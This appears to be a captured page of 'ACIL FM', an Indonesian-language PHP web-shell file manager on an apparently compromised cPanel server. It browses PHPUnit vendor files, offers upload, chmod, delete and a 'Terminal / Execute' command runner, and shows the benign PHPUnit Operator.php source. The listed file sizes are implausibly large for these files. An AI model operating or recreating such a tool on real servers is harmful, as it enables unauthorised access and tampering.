ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/phpunit/phpunit/src/Framework/Constraint/Operator
/
opt
cpanel
ea-wappspector
vendor
phpunit
phpunit
src
Framework
Constraint
Operator
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
BinaryOperator.php
3.21 MB
chmod
View
DL
Edit
Rename
Delete
LogicalAnd.php
1.31 MB
chmod
View
DL
Edit
Rename
Delete
LogicalNot.php
3.5 MB
chmod
View
DL
Edit
Rename
Delete
LogicalOr.php
1.28 MB
chmod
View
DL
Edit
Rename
Delete
LogicalXor.php
1.64 MB
chmod
View
DL
Edit
Rename
Delete
Operator.php
1.42 MB
chmod
View
DL
Edit
Rename
Delete
UnaryOperator.php
3.42 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/Operator.php
<?php declare(strict_types=1); /* * This file is part of PHPUnit. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class Operator extends Constraint { /** * Returns the name of this operator. */ abstract public function operator(): string; /** * Returns this operator's precedence. * * @see https://www.php.net/manual/en/language.operators.precedence.php */ abstract public function precedence(): int; /** * Returns the number of operands. */ abstract public function arity(): int; /** * Validates $constraint argument. */ protected function checkConstraint(mixed $constraint): Constraint { if (!$constraint instanceof Constraint) { return new IsEqual($constraint); } return $constraint; } /** * Returns true if the $constraint needs to be wrapped with braces. */ protected function constraintNeedsParentheses(Constraint $constraint): bool { return $constraint instanceof self && $constraint->arity() > 1 && $this->precedence() <= $constraint->precedence(); } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply